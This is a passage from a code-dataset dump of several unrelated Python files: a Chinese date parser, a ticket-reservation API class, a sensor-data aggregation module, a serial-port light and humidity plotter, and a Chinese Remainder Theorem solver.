检查某年是否已经存在\n @classmethod\n def check_year_existed(cls,year):\n yearlist = Year.get_yearlist_ordered()\n for item in yearlist:\n if item == year:\n return True\n return False\n @classmethod\n def get_year(cls,year):\n return Year.years[year]\n @classmethod\n def get_monthlist_ordered(cls,year):\n monthlist = list(Year.get_year(year).months.keys())\n return sorted(monthlist)\n @classmethod\n def check_month_in_year(cls,year,month):\n monthlist_in_year = Year.get_monthlist_ordered(year)\n for item in monthlist_in_year:\n if item == month:\n return True\n return False\n @classmethod\n def newmonth(cls,year,month):\n if Year.check_month_in_year(year,month):\n raise Exception(f'创建月份失败,{year}年中{month}月已存在!')\n Year.get_year(year).months[month] = Month(month)\n @classmethod\n def get_month(cls,year,month):\n if not Year.check_month_in_year(year,month):\n raise Exception(f'获取失败,{year}年中{month}月不存在!')\n return Year.get_year(year).months[month]\n @classmethod\n def addcontent_Year(cls,year,str):\n if not Year.check_year_existed(year):\n raise Exception(f'添加内容失败,{year}年还不存在,请创建后再往里添加内容')\n Year.get_year(year).content.append(str)\n\n\n\n\n\n\n\n\n# Month \n# 表示月的类,可以用来装某年某月对应的文本\n# 实例属性\n# self.month = int 记录月份\n# self.content = list 记录内容\n# self.days = dict 记录日子以及对应的实例\n# 实例方法\n# self.addcontent_Month(str) 给该月份加内容\n# self.get_daylist_ordered() 返回一个该月份实例的日子时序列表\n# self.check_day_in_month(day) 检查该月份中是否有某日\n# self.newday(day) 给某月创建某日\n# self.get_day(day) 获取某日的实例对象\nclass Month:\n def __init__(self,month):\n self.month = month\n self.content = []\n self.days = {}\n def addcontent_Month(self,str):\n self.content.append(str)\n def get_daylist_ordered(self):\n daylist = list(self.days.keys())\n return sorted(daylist)\n def check_day_in_month(self,day):\n for item in self.get_daylist_ordered():\n if item == day:\n return True\n return False\n def newday(self,day):\n if self.check_day_in_month(day):\n raise Exception('创建day实例失败,指定day已经存在!')\n self.days[day] = Day(day)\n def get_day(self,day):\n if not self.check_day_in_month(day):\n raise Exception('获取day实例失败,指定day不存在!')\n return self.days[day]\n\n\n\n\n\n\n\n# Day\n# 表示日的类,可以用来装某年某月某日对应的文本\n# 实例属性\n# self.day = int 记录日子\n# self.content = list 记录内容\n# 实例方法\n# self.addcontent_Day(str) 为Day实例添加内容\nclass Day:\n def __init__(self,day):\n self.day = int (day)\n self.content = []\n def addcontent_Day(self,str):\n self.content.append(str)\n\n\n\n\n\n\n# 根据一个lenth最多16的字符串来设定时间域\n# 返回值:0,1,2,3,6\n# 0 没改\n# 1 改年\n# 2 改月\n# 3 改日\n# 8 8数字改\ndef line_set_time(str):\n number = ''\n counter = 0\n nyr = [False,False,False]\n# 一次检测获取信息\n for char in str:\n if char =='#':\n counter +=1\n if char.isdigit():\n number = number + char\n if char == '年':\n nyr[0] = True\n if char == '月':\n nyr[1] = True\n if char == '日' or char == '号':\n nyr[2] = True\n# 年月日判定最优先 \n if nyr == [True, False, False]:\n num_nyr = ['','','']\n for char in str:\n if char == '年':\n break\n if char.isdigit():\n num_nyr[0] = num_nyr[0] + char\n Time.set_zone(1)\n if num_nyr[0] !='':\n Time.set_year(int(num_nyr[0]))\n return (1,'\\n年月日检测,年改了\\n')\n\n if nyr == [False, True, False]:\n num_nyr = ['','','']\n for char in str:\n if char == '月':\n break\n if char.isdigit():\n num_nyr[1] = num_nyr[1] + char\n Time.set_zone(2)\n if num_nyr[1] !='':\n Time.set_month(int(num_nyr[1]))\n return (2,'\\n年月日检测,月改了\\n')\n\n if nyr == [False, False, True]:\n num_nyr = ['','','']\n for char in str:\n if char == '日' or char == '号':\n break\n if char.isdigit():\n num_nyr[2] += char\n Time.set_zone(3)\n if num_nyr[2] !='':\n Time.set_day(int(num_nyr[2]))\n return (3,'\\n年月日检测,日改了\\n')\n\n if nyr == [True,True,False]:\n num_nyr = ['','','']\n s = 0\n for char in str:\n if char == '年':\n s += 1\n if char == '月':\n break\n if char.isdigit():\n num_nyr[s] += char\n Time.set_zone(2)\n if num_nyr[0] !='':\n Time.set_year(int(num_nyr[0]))\n if num_nyr[1] !='':\n Time.set_month(int(num_nyr[1]))\n return (2,'\\n年月日检测,年月改了\\n')\n\n if nyr == [False,True,True]:\n num_nyr = ['','','']\n s = 1\n for char in str:\n if char == '月':\n s += 1\n if char == '日' or char == '号':\n break\n if char.isdigit():\n num_nyr[s] += char\n Time.set_zone(3)\n if num_nyr[1] !='':\n Time.set_month(int(num_nyr[1]))\n if num_nyr[2] !='':\n Time.set_day(int(num_nyr[2]))\n return (1,'\\n年月日检测,月日改了\\n')\n\n if nyr == [True,True,True]:\n num_nyr = ['','','']\n s = 0\n for char in str:\n if (char == '年') or (char == '月'):\n s += 1\n if char == '日' or char == '号':\n break\n if char.isdigit():\n num_nyr[s] += char\n Time.set_zone(3)\n if num_nyr[0] !='':\n Time.set_year(int(num_nyr[0]))\n if num_nyr[1] !='':\n Time.set_month(int(num_nyr[1]))\n if num_nyr[2] !='':\n Time.set_day(int(num_nyr[2]))\n return (1,'\\n年月日检测,年月日改了\\n')\n# 使用#的个数来确定年月日\n if counter == 2:\n if len(number)<5:\n Time.set_zone(1)\n Time.set_year(int(number))\n return (1,'\\n#\\n改了年\\n')\n if counter == 3:\n if len(number) < 3:\n Time.set_zone(2)\n Time.set_month(int(number))\n return (2,'\\n#\\n改了月\\n')\n if counter == 4:\n if len(number) < 3:\n Time.set_zone(3)\n Time.set_day(int(number))\n return (3,'\\n#\\n改了日\\n')\n# 八数字检测\n if len(number) >= 8:\n num_nyr = [number[0:4],number[4:6],number[6:8]]\n Time.set_zone(3)\n Time.set_year(int(num_nyr[0]))\n Time.set_month(int(num_nyr[1]))\n Time.set_day(int(num_nyr[2]))\n return (8,'\\n年月日改了,八数字版本\\n')\n \n\n if 0 0:\n self.minutes_left = int(minutes_float)\n self.seconds_left = int(\n (minutes_float - self.minutes_left) * 60\n )\n\n else:\n self.minutes_left = 0\n self.seconds_left = 0\n\n def delete(self):\n \"\"\"Cancels this reservation, returns True if successful.\"\"\"\n\n crypto_block = self._get_crypto_block_for_object(\n method_name='make_reservation',\n interface_object=self\n )\n\n resp_dict = self.get_core_api().release_reservation(\n crypto_block=crypto_block,\n upfront_data_token=self.settings['upfront_data_token'],\n )\n\n return resolve_boolean(\n resp_dict['released_ok']\n )\n\n def purchase_part_one(\n self, return_token, return_domain, return_path,\n return_with_https, encryption_key, customer=None,\n card=None\n ):\n \"\"\"First part of the 2 stage purchase process.\n\n See the XML API documentation for more information about the\n purchase process.\n\n Args:\n return_token (string): Unique token for this purchase call.\n return_domain (string): The domain for the return URL.\n return_path (string): The path for the return URL.\n return_with_https (boolean): Indicates whether the URL should use\n HTTP or HTTPS.\n encryption_key (string): Encryption key for data.\n customer (Customer): Optional, Customer object representing the\n customer making the purchase.\n card (Card): Optional, Card object representing the payment\n card information.\n\n Returns:\n Dictionary: A dictionary containing an item called\n 'redirect_html_page_data' with a string value of\n HTML that should be passed to the user's browser\n in order to perform the redirect.\n \"\"\"\n\n if card:\n card_data = dict_ignore_nones(**card._get_dict())\n else:\n card_data = None\n\n if customer:\n customer_data = dict_ignore_nones(**customer._get_dict())\n else:\n customer_data = None\n\n https_string = boolean_to_yes_no(\n return_with_https\n )\n\n crypto_block = self._get_crypto_block_for_object(\n method_name='make_reservation',\n interface_object=self\n )\n\n resp_dict = self.get_core_api().purchase_reservation_part_one(\n crypto_block=crypto_block,\n upfront_data_token=self.settings['upfront_data_token'],\n customer_data=customer_data,\n return_token=return_token, return_domain=return_domain,\n return_path=return_path, return_with_https=https_string,\n encryption_key=encryption_key, card_data=card_data,\n )\n\n return resp_dict\n\n def purchase_part_two(\n self, returning_token, new_return_token, new_return_path, http_referer,\n http_accept, http_user_agent, callback_data, encryption_key,\n send_confirmation_email=None, results_url=None\n ):\n \"\"\"Second part of the 2 stage purchase process.\n\n See the XML API documentation for more information about the\n purchase process.\n\n Args:\n returning_token (string): The return token from part one.\n new_return_token (string): A new unique token for this call.\n new_return_path (string): The path for the return URL.\n http_referer (string): The user's 'Referer' HTTP header.\n http_accept (string): The user's 'Accept' HTTP header.\n http_user_agent (string): The user's 'User-Agent' HTTP header.\n callback_data (dictionary): All POST and GET variables.\n encryption_key (string): Encryption key for data.\n send_confirmation_email (boolean): Optional, boolean indicating\n whether TSW should send a confirmation email or not.\n results_url (string): Optional, URL of the confirmation page.\n\n Returns:\n Dictionary: If an additional redirect is required, then the\n dictionary will contain an item called\n 'redirect_html_page_data' which is the same as described in\n part one. This redirect must be followed to complete the\n purchase.\n \"\"\"\n\n crypto_block = self.get_crypto_block(\n method_name='start_session',\n password_required=False\n )\n\n resp_dict = self.get_core_api().purchase_reservation_part_two(\n returning_token=returning_token, new_return_token=new_return_token,\n new_return_path=new_return_path, http_referer=http_referer,\n http_accept=http_accept, http_user_agent=http_user_agent,\n callback_data=callback_data, encryption_key=encryption_key,\n crypto_block=crypto_block,\n upfront_data_token=self.settings['upfront_data_token'],\n send_confirmation_email=send_confirmation_email,\n results_url=results_url,\n )\n\n if 'trolley' in resp_dict:\n self.transaction_id = resp_dict['trolley'].transaction_id\n self._core_trolley = resp_dict['trolley']\n\n if 'trolley_token' in resp_dict:\n self.trolley_id = resp_dict['trolley_token']\n\n if 'customer' in resp_dict:\n customer = Customer(\n core_customer=resp_dict['customer']\n )\n\n resp_dict['customer'] = customer\n self.customer = customer\n else:\n self.customer = None\n\n if 'self_print_html_pages' in resp_dict:\n self.self_print_urls = resp_dict['self_print_html_pages']\n\n return resp_dict\n\n def purchase_reservation(\n self, customer=None, send_confirmation_email=None,\n ):\n \"\"\"A one stage purchase process that should only be used for purchases\n made on credit.\n\n See the XML API documentation for more information about the\n purchase process. Note the absence of a 'card_data' element\n in the input - this is intentional since the 2-stage purchase process\n (calling purchase_part_one & purchase_part_two) should always be used\n whenever a payment method is required.\n\n Args:\n customer (Customer): Optional, Customer object representing the\n customer making the purchase.\n send_confirmation_email (boolean): Optional, boolean indicating\n whether TSW should send a confirmation email or not.\n\n Returns:\n Dictionary: The result of the attempted purchase\n \"\"\"\n\n if customer:\n customer_data = dict_ignore_nones(**customer._get_dict())\n else:\n customer_data = None\n\n crypto_block = self._get_crypto_block_for_object(\n method_name='make_reservation',\n interface_object=self\n )\n\n resp_dict = self.get_core_api().purchase_reservation(\n crypto_block=crypto_block,\n upfront_data_token=self.settings['upfront_data_token'],\n customer_data=customer_data,\n send_confirmation_email=send_confirmation_email,\n )\n\n return resp_dict\n\n @property\n def transaction_status(self):\n \"\"\"Status of the reservation.\"\"\"\n if self._transaction_status is None:\n self.get_details()\n\n if self._transaction_status:\n return self._transaction_status\n else:\n return None\n\n @transaction_status.setter\n def transaction_status(self, value):\n if value is None:\n self._transaction_status = False\n else:\n self._transaction_status = value\n\n @property\n def remote_site(self):\n \"\"\"The domain that the transaction was made on.\"\"\"\n if self._remote_site is None:\n self.get_details()\n\n if self._remote_site:\n return self._remote_site\n else:\n return None\n\n @remote_site.setter\n def remote_site(self, value):\n if value is None:\n self._remote_site = False\n else:\n self._remote_site = value\n\n @property\n def customer(self):\n \"\"\"Customer object representing the customer on the reservation.\"\"\"\n if self._customer is None:\n self.get_details()\n\n if self._customer:\n return self._customer\n else:\n return None\n\n @customer.setter\n def customer(self, value):\n if value is None:\n self._customer = False\n else:\n self._customer = value\n\n @property\n def confirmation_page_html(self):\n \"\"\"HTML of the confirmation page, if it was stored.\"\"\"\n if self._confirmation_page_html is None:\n self.get_details()\n\n if self._confirmation_page_html:\n return self._confirmation_page_html\n else:\n return None\n\n @confirmation_page_html.setter\n def confirmation_page_html(self, value):\n if value is None:\n self._confirmation_page_html = False\n else:\n self._confirmation_page_html = value\n\n def get_details(self):\n \"\"\"Retrieves information about the reservation.\n\n Called internally by several methods/properties, it shouldn't\n be necessary to call this method explicitly.\n\n Returns:\n Reservation: Self, with updated data.\n \"\"\"\n crypto_block = self.get_crypto_block(\n method_name='start_session',\n password_required=False\n )\n\n resp_dict = self.get_core_api().transaction_info(\n transaction_id=self.transaction_id, describe_trolley=True,\n describe_customer=True, describe_external_sale_page=True,\n crypto_block=crypto_block,\n upfront_data_token=self.settings['upfront_data_token'],\n )\n\n self.transaction_status = resp_dict['transaction_status']\n self._set_time_left(resp_dict['minutes_left_on_reserve'])\n self.remote_site = resp_dict['remote_site']\n\n self._core_trolley = resp_dict['trolley']\n\n if 'customer' in resp_dict:\n\n lang_str = resp_dict.get('language_list', None)\n\n if lang_str:\n langs = lang_str.split(',')\n\n self.customer = Customer(\n core_customer=resp_dict['customer'],\n languages=langs,\n )\n\n else:\n self.customer = None\n\n if 'sale_page' in resp_dict:\n self.confirmation_page_html = resp_dict['sale_page'].sale_page\n else:\n self.confirmation_page_html = None\n\n if 'self_print_html_pages' in resp_dict:\n self.self_print_urls = resp_dict['self_print_html_pages']\n\n return self\n\n @property\n def self_print_urls(self):\n \"\"\"List of URLs for self print vouchers on this reservation.\"\"\"\n if self._self_print_urls is None:\n self.get_details()\n\n return self._self_print_urls\n\n @self_print_urls.setter\n def self_print_urls(self, value):\n self._self_print_urls = value\n\n def set_confirmation_page(self, html):\n \"\"\"Store the confirmation page HTML in the TSW system.\n\n Args:\n html (string): HTML to store.\n\n Returns:\n Boolean: True if data was saved successfully.\n \"\"\"\n\n crypto_block = self.get_crypto_block(\n method_name='start_session',\n password_required=False\n )\n\n resp_dict = self.get_core_api().save_external_sale_page(\n crypto_block=crypto_block,\n upfront_data_token=self.settings['upfront_data_token'],\n transaction_id=self.transaction_id,\n sale_page_type='text', sale_page_subtype='html', sale_page=html,\n )\n\n if resp_dict['saved_this_page'] == 'yes':\n return True\n else:\n return False\n\n @property\n def is_released(self):\n \"\"\"Boolean indicating if the reservation was released.\"\"\"\n if self.transaction_status == 'released':\n return True\n elif self.transaction_status:\n return False\n return None\n\n @property\n def is_purchased(self):\n \"\"\"Boolean indicating if the reservation was purchased successfully.\"\"\"\n if self.transaction_status == 'purchased':\n return True\n elif self.transaction_status:\n return False\n return None\n\n @property\n def is_purchase_successful(self):\n \"\"\"Boolean indicating if the reservation was purchased successfully.\n\n Overrides trolley function.\n \"\"\"\n return self.is_purchased\n\n @property\n def is_reserved(self):\n \"\"\"Boolean indicating if the Reservation object is reserved.\"\"\"\n if self.transaction_status == 'reserved':\n return True\n elif self.transaction_status:\n return False\n return None\n\n @property\n def is_attempting(self):\n \"\"\"Boolean indicating if TSW is currently attempting to reserve.\"\"\"\n if self.transaction_status == 'attempting':\n return True\n elif self.transaction_status:\n return False\n return None\n\n def _create_bundle(self, core_bundle):\n return bundle_objs.Bundle(\n core_bundle=core_bundle,\n self_print_urls=self.self_print_urls,\n **self._internal_settings()\n )\n\n @property\n def need_payment_card(self):\n \"\"\"Boolean indicating if a payment card is required for purchase.\"\"\"\n return resolve_boolean(\n self._need_payment_card\n )\n\n @property\n def needs_email_address(self):\n \"\"\"Boolean indicating if an email address is required for purchase.\"\"\"\n return resolve_boolean(\n self._needs_email_address\n )\n\n @property\n def supports_billing_address(self):\n \"\"\"Boolean indicating if billing address can be provided during\n purchase.\"\"\"\n return resolve_boolean(\n self._supports_billing_address\n )\n\n @property\n def needs_agent_reference(self):\n return resolve_boolean(\n self._needs_agent_reference\n )\n","sub_path":"pyticketswitch/interface_objects/reservation.py","file_name":"reservation.py","file_ext":"py","file_size_in_byte":19652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"495248735","text":"# encoding = utf-8\n\nimport pandas as pd\nimport common\n# 导入自开发包\nfrom aggregate_capture import check_functions as chk_f\nfrom aggregate_capture import aggregation_functions as agg_f\nfrom aggregate_capture import consistency_functions as consis_f\n\nfrom log import log\nfrom error_demo.error_code import *\nlogger = log.log_demo()\n\nclass AggregateCapture():\n\n def __init__(self, config, dao, dfs, vargroup_channels, consistency_models):\n \"\"\"\n 初始化关键数据\n :param config: 单例配置项对象\n :param dao: 单例数据库连接对象\n :param dfs: 按照{capture_x:Dataframe}组织的表格,key是capture_x, value是capture的数据\n :param vargroup_channels: 是一个VargroupChannel对象,决定不同的设备的污染物类型及不同污染物的出数通道\n :param consistency_models: 一致性模型\n \"\"\"\n self.dao = dao\n self.config = config\n self.dfs = dfs\n self.vargroup_channels = vargroup_channels\n self.consistency_models = consistency_models\n self.consis_agent = consis_f.ConsistencyAgent(config)\n self.agg_agent = agg_f.AggregationAgent(config)\n self.check_agent = chk_f.CheckAgent(config)\n\n def capture_to_org(self, hour, is_for_minute=False):\n \"\"\"\n 将capture数据聚合为org数据\n 1. 对每种变量的异常数据进行剔除\n 2. 处理多个传感器的数据合并(考虑内容:如果三缺一,三缺二,二缺一怎么处理?)\n 3. 处理从分钟级到小时级的数据合并\n :return: 不做返回,直接将处理好的org数据入库\n \"\"\"\n # 获取需要处理的变量,例如温度、湿度实际上也是需要处理的(暂时还没想好怎么organize)\n tables = self.dfs.keys()\n #初始化一个空的字典,装org数据\n org={}\n for cap_x in tables:\n # logger.info('table {} begin....'.format(cap_x))\n df_cap_x = self.dfs[cap_x]\n\n vg_ids = df_cap_x['VARGROUP_ID'].unique()\n\n org_vargroupid = pd.DataFrame()\n for vg_id in vg_ids:\n var_names = self.vargroup_channels.get_var_names_by_vargroup(vg_id)\n # logger.info('VARGROUP_ID {} begin...... and the vargroup_id has channels: {}'.format(vg_id,var_names))\n full_df = pd.DataFrame()\n for var_name in var_names:\n print(\"正在处理{}表下的{}下的{}污染物......\".format(cap_x,vg_id,var_name))\n channel_header = self.vargroup_channels.get_channels_by_vargroup_and_var(vg_id, var_name)\n # logger.info('var {} begin.... and the var has channel_header {}'.format(var_name,channel_header))\n cur_df = df_cap_x[df_cap_x['VARGROUP_ID'] == vg_id][['DEV_ID', 'CAP_TIME', 'MEA_POINT_ID'] + channel_header]\n\n # 处理异常数据并输出日志\n var_df, _, _ = self.check_agent.clean_capture_data(cur_df, var_name, channel_header)\n\n # 对clean后的cap数据应用一致性模型\n if len(var_df.columns) == 3:\n logger.debug('after clean_capture_data there is no valid data!')\n continue\n else:\n var_df = self.consis_agent.apply_consistency_model(var_df, var_name, channel_header, self.consistency_models)\n if var_df.empty:\n logger.debug('after apply_consistency_model there is no valid data!')\n continue\n else:\n # 聚合多通道数据\n agg_var_df = self.agg_agent.combine_capture_channels(var_df, var_name, channel_header)\n\n # # 聚合分钟级数据到小时\n # ['DEV_ID', 'CAL_TIME', VAR_NAME, COUNT_VAR_NAME]\n # e.g., ['DEV_ID', 'CAL_TIME', 'COUNT_PM25', 'PM25']\n if agg_var_df.empty:\n continue\n if is_for_minute==False:\n hour_var_df = self.agg_agent.agg_minutes_to_hours(agg_var_df, var_name)\n else:\n print(\"不用做小时级别的聚合!\")\n #虚拟聚合(只有几条数据)\n hour_var_df = self.agg_agent.agg_minutes_to_hours(agg_var_df, var_name, hour)\n #合并各个污染物\n full_df = self.agg_agent.merge_df(hour_var_df,full_df)\n org_vargroupid = self.agg_agent.concat_df(full_df,org_vargroupid)\n org[cap_x]=org_vargroupid\n if is_for_minute==False:\n # 回写数据库\n self.dao.write_org_db(org,hour)\n return org\n else:\n #不入数据库\n #返回数据放到内存里待用\n return org\n\n def agg_across_multi_sensors(self, var):\n pass\n","sub_path":"quality_control_platform/aggregate_capture/agg_capture.py","file_name":"agg_capture.py","file_ext":"py","file_size_in_byte":5061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"641066911","text":"import csv\nimport datetime\nimport os\nimport time\n\nimport matplotlib\nimport matplotlib.dates as mdates\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport serial\n\nfrom .keypress import KBHit\n\n\ndef tiempo_real(plot_window, logear):\n carpeta = \"data\"\n\n if os.name == \"nt\": # Windows\n ser = serial.Serial(\"COM3\")\n else:\n ser = serial.Serial(\"/dev/ttyUSB0\")\n\n ser.flushInput()\n\n # Abrimos el archivo de log si esta activado el modo log\n if logear:\n fecha_inicio = datetime.datetime.now().strftime(\"%Y-%m-%d %H-%M-%S\")\n archivo = open(f\"{carpeta}/log.csv\", \"w+\", newline=\"\")\n escritor = csv.writer(archivo)\n # IMPORTANTE: Esto es la cantidad de segundos que se quieren visualizar\n # Me creo los datos que van a ir en el eje X e Y, inicialmente son valores cualquiera\n # para rellenar\n y_luz = np.array(np.zeros([plot_window]))\n ahora = datetime.datetime.now()\n x_luz = [\n ahora - datetime.timedelta(0, plot_window - n)\n for n in range(1, plot_window + 1)\n ]\n\n y_hum = np.array(np.zeros([plot_window]))\n x_hum = [\n ahora - datetime.timedelta(0, plot_window - n)\n for n in range(1, plot_window + 1)\n ]\n\n # Enciende el modo interactivo\n plt.ion()\n fig_luz, ax_luz = plt.subplots()\n line_luz, = ax_luz.plot(y_luz)\n scat_luz_on, = ax_luz.plot(y_luz, lw=0, marker=\"^\")\n scat_luz_off, = ax_luz.plot(y_luz, lw=0, marker=\"v\")\n y_luz_on = y_luz[:]\n y_luz_off = y_luz[:]\n x_luz_on = x_luz[:]\n x_luz_off = x_luz[:]\n\n plt.title(\"LUZ\")\n plt.xlabel(\"Instante\")\n plt.ylabel(\"Nivel de Luz [lux]\")\n\n plt.gca().xaxis.set_major_formatter(mdates.DateFormatter(\"%H:%M:%S\"))\n plt.gca().xaxis.set_major_locator(\n mdates.SecondLocator(interval=int(plot_window / 5)))\n\n fig_hum, ax_hum = plt.subplots()\n line_hum, = ax_hum.plot(y_hum)\n scat_hum_on, = ax_hum.plot(y_hum, lw=0, marker=\"^\")\n scat_hum_off, = ax_hum.plot(y_hum, lw=0, marker=\"v\")\n y_hum_on = y_hum[:]\n y_hum_off = y_hum[:]\n x_hum_on = x_hum[:]\n x_hum_off = x_hum[:]\n\n plt.title(\"HUMEDAD\")\n plt.xlabel(\"Instante\")\n plt.ylabel(\"Nivel de Humedad [%]\")\n\n # Config_luzura para que se puedan ver bien las fechas en el eje X\n # En la segunda linea, interval es cada cuantos segundos se pone un label\n # sobre el eje X\n plt.gca().xaxis.set_major_formatter(mdates.DateFormatter(\"%H:%M:%S\"))\n plt.gca().xaxis.set_major_locator(\n mdates.SecondLocator(interval=int(plot_window / 5)))\n\n # humedad en un vaso de agua\n max_humedad = 452\n # 1024 - 452: máxima tasa de humedad con respecto a la referencia\n max_tasa = 572\n # 1024: máximo valor observable por el pin analógico\n\n kb = KBHit()\n while not (kb.kbhit() and kb.getch() == \"q\"):\n try:\n try:\n ser_bytes = ser.readline().decode()\n except UnicodeDecodeError: # Windows\n ser_bytes = ser.readline().decode(\"cp1252\").encode(\"utf-8\")\n\n try:\n decoded_bytes = ser_bytes.rstrip().split()\n except BaseException:\n continue\n\n _, humedad, _, luz, estado = decoded_bytes\n humedad = abs(max_humedad -\n (float(humedad) - max_tasa)) / max_tasa * 100\n luz = float(luz)\n estado = int(estado)\n abierto = \"Abierto\" if estado else \"Cerrado\"\n tiempo = datetime.datetime.now()\n # Bajo al log\n if logear:\n escritor.writerow([\n tiempo.strftime(\"%Y-%m-%d;%H:%M:%S\"), humedad, luz, abierto\n ])\n\n # Actualizo los valores de ambos ejes\n y_luz = np.append(y_luz, luz)\n y_luz = y_luz[1:plot_window + 1]\n x_luz.append(tiempo)\n x_luz = x_luz[1:plot_window + 1]\n\n y_luz_on = np.append(y_luz_on, luz if estado else None)\n x_luz_on = np.append(x_luz_on, tiempo if estado else None)\n x_luz_on = x_luz_on[1:plot_window + 1]\n y_luz_on = y_luz_on[1:plot_window + 1]\n\n y_luz_off = np.append(y_luz_off, luz if not estado else None)\n x_luz_off = np.append(x_luz_off, tiempo if not estado else None)\n x_luz_off = x_luz_off[1:plot_window + 1]\n y_luz_off = y_luz_off[1:plot_window + 1]\n\n y_hum = np.append(y_hum, humedad)\n y_hum = y_hum[1:plot_window + 1]\n x_hum.append(datetime.datetime.now())\n x_hum = x_hum[1:plot_window + 1]\n # Seteo la nueva data\n y_hum_on = np.append(y_hum_on, humedad if estado else None)\n x_hum_on = np.append(x_hum_on, tiempo if estado else None)\n x_hum_on = x_hum_on[1:plot_window + 1]\n y_hum_on = y_hum_on[1:plot_window + 1]\n\n y_hum_off = np.append(y_hum_off, humedad if not estado else None)\n x_hum_off = np.append(x_hum_off, tiempo if not estado else None)\n x_hum_off = x_hum_off[1:plot_window + 1]\n y_hum_off = y_hum_off[1:plot_window + 1]\n\n scat_luz_on.set_data(\n [elem for elem in x_luz_on if elem is not None],\n [l for l in y_luz_on if l is not None],\n )\n scat_luz_off.set_data(\n [elem for elem in x_luz_off if elem is not None],\n [l for l in y_luz_off if l is not None],\n )\n\n scat_hum_on.set_data(\n [elem for elem in x_hum_on if elem is not None],\n [l for l in y_hum_on if l is not None],\n )\n scat_hum_off.set_data(\n [elem for elem in x_hum_off if elem is not None],\n [l for l in y_hum_off if l is not None],\n )\n\n line_luz.set_data(x_luz, y_luz)\n ax_luz.relim()\n ax_luz.autoscale_view()\n\n # Redibujar el grafico\n \"\"\"\n fig_hum.canvas.draw() \n fig_luz.canvas.flush_events()\n \"\"\"\n\n fig_luz.canvas.draw_idle()\n try:\n # plt.pause(0.06)\n fig_luz.canvas.flush_events()\n except: # Windows\n break\n\n fig_luz.autofmt_xdate()\n\n line_hum.set_data(x_hum, y_hum)\n ax_hum.relim()\n ax_hum.autoscale_view()\n\n # Redibujar el grafico\n # fig_hum.canvas.draw()\n # fig_hum.canvas.flush_events()\n\n fig_hum.canvas.draw_idle()\n try:\n # plt.pause(0.05)\n fig_hum.canvas.flush_events()\n except: # Windows\n break\n\n fig_hum.autofmt_xdate()\n\n except KeyboardInterrupt:\n print(\"Keyboard Interrupt\")\n break\n\n if logear:\n fecha_final = datetime.datetime.now().strftime(\"%Y-%m-%d %H-%M-%S\")\n\n archivo.close()\n old_file = os.path.join(carpeta, \"log.csv\")\n new_file = os.path.join(carpeta, f\"{fecha_inicio}__{fecha_final}.csv\")\n os.rename(old_file, new_file)\n\n\n ax_luz.cla()\n ax_hum.cla()\n fig_hum.clf()\n fig_luz.clf()\n plt.close(\"all\")\n del fig_luz\n del fig_hum\n plt.ioff()\n kb.set_normal_term()\n","sub_path":"funcionalidades/visualizar_tiempo_real.py","file_name":"visualizar_tiempo_real.py","file_ext":"py","file_size_in_byte":7263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"42762611","text":"from math import gcd\r\nfrom functools import reduce\r\n\r\n# This program Solves any linear system of congruences for which the moduli are co-prime.\r\n\r\n\r\n# Checks if all elements of a list are coprime with each-other\r\ndef pairwiseCoprime(l):\r\n return not any(gcd(I, J) != 1 for i, I in enumerate(l) for J in l[i + 1:])\r\n\r\n \r\ndef simplify(L):\r\n if len(L) == 2: return L\r\n if len(L) == 4: L = [L[0], (L[2] - L[1]) % L[3], L[3]]\r\n \r\n # Find L[0]*i such that L[0]*i = L[1] (mod L[2])\r\n for i in range(1, L[2]):\r\n if (L[0] * i) % L[2] == L[1]: return [i % L[2], L[2]]\r\n \r\n return [L[1], L[2]]\r\n\r\n \r\ndef CRT(inp):\r\n inp = [simplify(L) for L in inp] # Simplify each item in system\r\n secondProd = reduce(lambda x, y: x * y, [item[1] for item in inp]) # Product of moduli\r\n\r\n if not pairwiseCoprime([L[1] for L in inp]): return False # No Solution\r\n\r\n ans = [secondProd // i1[1] for i1 in inp]\r\n for j in range(len(inp)):\r\n ansJCopy = ans[j]\r\n while ans[j] % inp[j][1] != inp[j][0]: ans[j] += ansJCopy\r\n \r\n return (sum(ans) % secondProd, secondProd) # Returns minimal solution\r\n\r\n# [3,2,7,3] means 3x+2 = 7 (mod 3)\r\n# [3,2,3] means 3x = 2 (mod 3)\r\n# [2,3] means x = 2 (mod 3)\r\n\r\n\r\nLsys = [[1, 2], [1, 3], [1, 5], [3, 7]]\r\nsol = CRT(Lsys)\r\nprint(\"{0} (mod {1})\".format(sol[0], sol[1]))\r\ninput()\r\n\r\n# EXPANSION:\r\n # See https://math.stackexchange.com/questions/120070/chinese-remainder-theorem-with-non-pairwise-coprime-moduli\r\n","sub_path":"Math/Solvers/chineseRemainderTheorem.py","file_name":"chineseRemainderTheorem.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"3308055","text":"\"\"\"\nfocuser_control.py\nJessica A. Evans\n22/10/18\n\n 02/01/19 - Contains all the serial-port control functions for the focusers, and\n the startup/shutdown functions\n\n\n\tCURRENT FUNCTIONS:\n\t----------------------------------------------------------------------\n\tFocuser Control\n\t----------------------------------------------------------------------\n\t- check_config_port_values_for_focuser(config_dict)\n\t\n\t- get_start_end_chars(command)\n\t\n\t- check_focuser_no(x)\n\t\n\t- get_focuser_name(port, x=1)\n\t\n\t- halt_focuser(port, x=1)\n\t\n\t- home_focuser(port, x=1)\n\t\n\t- center_focuser(port, x=1)\n\t\n\t- move_to_position(pos, port, x=1)\n\t\n\t- move_focuser_in(port, x=1, move_speed=1)\n\t\n\t- move_focuser_out(port, x=1, move_speed=1)\n\t\n\t- end_relative_move(port, x=1)\n\n\t----------------------------------------------------------------------\n\tFocuser Configuration/Status Functions\n\t----------------------------------------------------------------------\n\n\t- get_focuser_status(port, x=1)\n\t\n\t- get_focuser_stored_config(port, x=1)\n\t\n\t- set_device_name(port, device_name, x=1)\n\t\n\t- set_device_type(port, x=1, device_type = 'OB')\n\t\n\t- set_temp_comp(port,x=1, temp_comp=False)\n\t\n\t- set_temp_comp_mode(port,x=1 mode='A')\n\t\n\t- set_temp_comp_coeff(port, x=1, mode, temp_coeff_val)\n\t\n\t- set_temp_comp_start_state(port, x=1, temp_comp_start = False)\n\t\n\t- set_backlash_comp(port, x=1, backlash_comp = False)\n\t\n\t- 